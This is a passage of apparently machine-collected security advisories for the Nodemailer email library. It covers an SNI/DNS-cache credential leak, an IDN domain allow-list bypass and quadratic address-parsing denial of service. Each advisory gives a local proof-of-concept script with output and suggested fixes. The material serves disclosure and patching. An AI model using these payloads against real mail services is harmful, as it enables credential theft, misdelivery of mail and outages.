**Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`\n- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`\n- **Affected versions:** `\u003e= 5.0.0, \u003c= 10.0.1`\n- **Patched versions:** None known at the time of this report\n- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values\n\nThe vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`.\n\n## Details\n\n### Root cause\n\n`src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host:\n\n```ts\nexport const dnsCache = new Map\u003cstring, DnsCacheEntry\u003e();\n```\n\nAlthough the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity:\n\n```ts\nconst value: DnsCacheValue = {\n    addresses: allAddresses,\n    servername: options.servername || host\n};\n\ndnsCache.set(host, {\n    value,\n    expires: Date.now() + (options.dnsTtl || DNS_TTL)\n});\n```\n\nOn a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`:\n\n```ts\nif (!cached.expires || cached.expires \u003e= now) {\n    return callback(\n        null,\n        formatDNSValue(cached.value, {\n            cached: true\n        })\n    );\n}\n```\n\n`formatDNSValue()` copies that stale value into the result:\n\n```ts\nreturn Object.assign(\n    {\n        servername: value.servername,\n        host,\n        _addresses: addresses\n    },\n    extra || {}\n);\n```\n\nFor a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`:\n\n```ts\nObject.assign(opts, this.options.tls || {});\n\nif (this.servername \u0026\u0026 !opts.servername) {\n    opts.servername = this.servername;\n}\n\nreturn this._resolveAndConnect(opts, resolved =\u003e {\n    this._connectToHost(opts, this.secureConnection);\n});\n```\n\n```ts\nfor (const key of Object.keys(resolved!)) {\n    if (key.charAt(0) !== '_' \u0026\u0026 (resolved as { [key: string]: any })[key]) {\n        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];\n    }\n}\n```\n\nThe resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.\n\nThe default DNS cache TTL is five minutes:\n\n```ts\nconst DNS_TTL = 5 * 60 * 1000;\n```\n\n### Code path\n\n```text\nTenant A: createTransport({ host: H, secure: true,\n                            tls: { servername: attackerName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: attackerName })\n  -\u003e dnsCache.set(H, { addresses, servername: attackerName })\n\nVictim: createTransport({ host: H, secure: true,\n                          tls: { servername: victimName } })\n  -\u003e SMTPConnection.connect()\n  -\u003e opts.servername = victimName\n  -\u003e _resolveAndConnect(opts)\n  -\u003e shared.resolveHostname({ host: H, servername: victimName })\n  -\u003e dnsCache.get(H)\n  -\u003e returns cached servername = attackerName\n  -\u003e _resolveAndConnect overwrites opts.servername\n  -\u003e tls.connect({ servername: attackerName })\n  -\u003e attacker SNI virtual host and certificate are selected\n  -\u003e AUTH transmits victim SMTP credentials\n```\n\n### Relevant source locations in the tested revision\n\n- `src/shared/index.ts:184` — five-minute default cache TTL\n- `src/shared/index.ts:245` — process-global cache keyed by host\n- `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()`\n- `src/shared/index.ts:292-323` — host-only lookup and cache-hit return\n- `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache\n- `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call\n- `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options\n\n## PoC\n\n### Prerequisites\n\n- Node.js 20 (tested with Node.js `20.20.2`)\n- A checkout/build of Nodemailer `10.0.1`\n- OpenSSL to generate the local test certificate\n\nNo external SMTP server or network access is required.\n\n### 1. Generate a certificate for only `attacker.test`\n\nCreate `openssl.cnf`:\n\n```ini\n[req]\ndistinguished_name = dn\nx509_extensions = ext\nprompt = no\n\n[dn]\nCN = attacker.test\n\n[ext]\nsubjectAltName = DNS:attacker.test\nbasicConstraints = critical,CA:TRUE\nkeyUsage = critical,digitalSignature,keyEncipherment,keyCertSign\nextendedKeyUsage = serverAuth\n```\n\nGenerate the certificate and private key:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\n  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf\n```\n\n### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`\n\nAdjust the two import paths if the PoC is not saved beside the repository checkout.\n\n```js\nimport fs from 'node:fs';\nimport tls from 'node:tls';\nimport nodemailer from '../../nodemailer/dist/esm/nodemailer.js';\nimport * as shared from '../../nodemailer/dist/esm/shared/index.js';\n\nconst cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));\nconst key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));\nconst observedSni = [];\nconst observedAuth = [];\n\nconst server = tls.createServer({ key, cert }, socket =\u003e {\n    observedSni.push(socket.servername);\n    socket.write('220 attacker.test ESMTP\\r\\n');\n    let input = '';\n    socket.on('data', chunk =\u003e {\n        input += chunk.toString();\n        let end;\n        while ((end = input.indexOf('\\r\\n')) \u003e= 0) {\n            const line = input.slice(0, end);\n            input = input.slice(end + 2);\n            if (/^EHLO /i.test(line)) {\n                socket.write('250-attacker.test\\r\\n250 AUTH PLAIN\\r\\n');\n            } else if (/^AUTH /i.test(line)) {\n                observedAuth.push(line);\n                socket.write('235 2.7.0 Authentication successful\\r\\n');\n            } else if (/^QUIT/i.test(line)) {\n                socket.end('221 Bye\\r\\n');\n            } else {\n                socket.write('250 OK\\r\\n');\n            }\n        }\n    });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\ntry {\n    shared.dnsCache.clear();\n\n    // Tenant A seeds the process-global cache for the shared DNS host.\n    const attackerTransport = nodemailer.createTransport({\n        host: 'localhost',\n        port: server.address().port,\n        secure: true,\n        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },\n        tls: {\n            ca: cert,\n            servername: 'attacker.test',\n            rejectUnauthorized: true\n        }\n    });\n    await attackerTransport.verify();\n    attackerTransport.close();\n\n    // The victim explicitly configures a different TLS identity.\n    const victimTransport = nodemailer.createTransport({\n        host: 'localhost',\n        port: server.address().port,\n        secure: true,\n        auth: { user: 'victim@example.test', pass: 'victim-secret' },\n        tls: {\n            ca: cert,\n            servername: 'victim.test',\n            rejectUnauthorized: true\n        }\n    });\n    await victimTransport.verify();\n    victimTransport.close();\n\n    const decoded = observedAuth.map(line =\u003e\n        line.startsWith('AUTH PLAIN ')\n            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()\n            : null\n    );\n\n    console.log(JSON.stringify({\n        attackerConfiguredServername: 'attacker.test',\n        victimConfiguredServername: 'victim.test',\n        serverObservedSniForBothConnections: observedSni,\n        serverReceivedCredentials: decoded\n    }, null, 2));\n} finally {\n    shared.dnsCache.clear();\n    await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\n### 3. Build and run\n\nFrom the Nodemailer checkout:\n\n```bash\nnpm install\nnpm run build\nnode ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs\n```\n\n### Observed result\n\n```json\n{\n  \"attackerConfiguredServername\": \"attacker.test\",\n  \"victimConfiguredServername\": \"victim.test\",\n  \"serverObservedSniForBothConnections\": [\n    \"attacker.test\",\n    \"attacker.test\"\n  ],\n  \"serverReceivedCredentials\": [\n    \"\\\\u0000attacker@example.test\\\\u0000attacker-secret\",\n    \"\\\\u0000victim@example.test\\\\u0000victim-secret\"\n  ]\n}\n```\n\nThe victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim's username and password.\n\n### Expected result\n\nThe second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`.\n\n## Impact\n\nThe vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.\n\nAn attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's `tls.servername`. During the cache lifetime, a victim's direct SMTPS connection to that host can:\n\n1. send the attacker's server name as SNI;\n2. be routed to the attacker's TLS virtual host;\n3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and\n4. transmit the victim's SMTP username and password to that endpoint.\n\nPossession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.\n\nWhere the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.\n\n### Preconditions and limitations\n\n- Two transports must execute in the same Node.js process within the cache lifetime.\n- They must use the same non-IP `host` cache key and different `tls.servername` values.\n- Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.\n- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.\n\n## Suggested remediation\n\nThe DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.\n\nOne approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path:\n\n```ts\nreturn {\n    host: selectedAddress,\n    servername: options.servername || options.host || false,\n    _addresses: addresses,\n    cached: true\n};\n```\n\nAs defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.\n\nA regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-28T21:56:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v","https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2","https://github.com/advisories/GHSA-6vj9-mwq6-2f5v"],"source_kind":"github","identifiers":["GHSA-6vj9-mwq6-2f5v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-28T22:00:09.986Z","updated_at":"2026-10-24T21:00:45.451Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmo5LW13cTYtMmY1ds4AB67A","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dmo5LW13cTYtMmY1ds4AB67A","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.2","vulnerable_version_range":"\u003e= 5.0.0, \u003c 10.0.2"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmo5LW13cTYtMmY1ds4AB67A/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12bTVyLTIzdzktbThoeM4ABz_T","url":"https://github.com/advisories/GHSA-vm5r-23w9-m8hx","title":"Duplicate Advisory: Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-prgh-xp8r-p3m5. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-13T12:31:12.000Z","withdrawn_at":"2026-10-05T23:30:00.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5","https://nvd.nist.gov/vuln/detail/CVE-2026-90776","https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89","https://github.com/nodemailer/nodemailer","https://github.com/nodemailer/nodemailer/blob/v10.0.4/src/addressparser/index.ts#L251","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5","https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing","https://github.com/advisories/GHSA-vm5r-23w9-m8hx"],"source_kind":"github","identifiers":["GHSA-vm5r-23w9-m8hx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.071Z","updated_at":"2026-10-24T21:00:37.761Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12bTVyLTIzdzktbThoeM4ABz_T","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12bTVyLTIzdzktbThoeM4ABz_T","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 9.1.0, \u003c= 10.0.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12bTVyLTIzdzktbThoeM4ABz_T/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13bW1wLTM1ODUtM3JtcM4ABu9Y","url":"https://github.com/advisories/GHSA-wmmp-3585-3rmp","title":"Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain","description":"### Summary\n\nNodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**.\n\nAn application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.\n\nBecause the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required.\n\n### Details\n\n`lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this:\n\n```js\n// lib/mime-node/index.js\ntry {\n    if (/[\\x80-￿]/.test(user)) {\n        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338\n    } else {\n        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340\n    }\n} catch (_err) {\n    // keep domain as supplied\n}\nreturn `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346\n```\n\n`punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:\n\n* removing **Ignored** code points such as `U+00AD` SOFT HYPHEN,\n* **Mapping** full‑width / compatibility characters to their canonical ASCII forms,\n* Unicode **NFC** normalization,\n* validity checks.\n\nAs a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as:\n\n* the SMTP envelope recipient written to the wire as `RCPT TO:\u003clocal@xn--…\u003e` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and**\n* the address emitted in the `To:` / `From:` headers (`_convertAddresses`).\n\nSo the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):\n\n| recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to |\n|---|---|---|\n| `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` |\n| `victim@ｃｏｍｐａｎｙ.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` |\n| `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` |\n\nThis is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.\n\n**Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`).\n\n### PoC\n\nEnvironment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself.\n\n`poc-idn.js`:\n\n```js\n'use strict';\nconst net = require('net');\nconst url = require('url');\nconst nodemailer = require('nodemailer'); // 9.0.6\n\nconst TRUSTED   = 'company.com';                        // the only domain the app will mail\nconst RECIPIENT = 'victim@compa\\u00ADny.com';           // attacker input: invisible U+00AD inside \"company\"\n\n// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:\nconst seen = url.domainToASCII(RECIPIENT.split('@').pop());\nconsole.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),\n            seen === TRUSTED ? '=\u003e ALLOWED (equals trusted domain)' : '');\n\n// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:\nconst server = net.createServer(sock =\u003e {\n  let buf = ''; sock.write('220 sink\\r\\n');\n  sock.on('data', d =\u003e { buf += d; let i;\n    while ((i = buf.indexOf('\\r\\n')) \u003e= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);\n      const u = line.toUpperCase();\n      if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\\r\\n'); }\n      else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n      else if (line === '.') sock.write('250 ok\\r\\n');\n      else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n      else sock.write('250 ok\\r\\n'); } });\n});\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });\n  t.close(); server.close();\n});\n```\n\nRun:\n\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-idn.js\n```\n\nActual output (Nodemailer 9.0.6):\n\n```\nvalidator (url.domainToASCII) sees: \"company.com\" =\u003e ALLOWED (equals trusted domain)\nnodemailer transmits             : RCPT TO:\u003cvictim@xn--company-pka.com\u003e\n```\n\nThe application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `\u003cvictim@xn--company-pka.com\u003e` as well.\n\nA containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:\u003cvictim@xn--company-pka.com\u003e` and reports the recipient domain as `xn--company-pka.com`.\n\n### Impact\n\nAny application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:\n  * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library;\n  * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`);\n  * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).\n\n## Patched in 9.1.0\n\nDomain encoding now applies UTS-46 ([259c32d](https://github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@compa­ny.com` resolves to `company.com`, matching `url.domainToASCII` and browsers.\n\nOne caveat on the suggested remediation, hardened in [b212ac4](https://github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.\n\nOn severity, \"attacker-registrable\" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T21:33:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp","https://github.com/nodemailer/nodemailer/pull/1848","https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148","https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","https://github.com/advisories/GHSA-wmmp-3585-3rmp"],"source_kind":"github","identifiers":["GHSA-wmmp-3585-3rmp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-10-24T21:01:00.091Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bW1wLTM1ODUtM3JtcM4ABu9Y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13bW1wLTM1ODUtM3JtcM4ABu9Y","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"9.1.0","vulnerable_version_range":"\u003c 9.1.0"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13bW1wLTM1ODUtM3JtcM4ABu9Y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yeDdqLTU4OGctY2NjMs4ABu9X","url":"https://github.com/advisories/GHSA-2x7j-588g-ccc2","title":"Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list","description":"### Summary\n\nNodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):\n\n```js\naddresses.forEach(addr =\u003e {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // \u003c-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      -\u003e  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   -\u003e  100000 addresses:  ~51 ms   (≈119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2× input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | – |\n| 50,000  | 0.38 MB | ~1.4 s  | ×4.0 |\n| 100,000 | 0.76 MB | ~6–8 s  | ×3.9 |\n| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |\n\nDoubling the input quadruples the time — the signature of O(n²).\n\n**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: \u003ccrafted string\u003e })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing.\n\n`poc-dos.js`:\n```js\n'use strict';\nconst addressparser = require('nodemailer/lib/addressparser');\n\nconsole.log('addresses | input size | parse time');\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');\n}\n```\n\nRun:\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require('nodemailer');\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a \"send email / invite / share\" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b \u003cc@d.com\u003e,'.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes 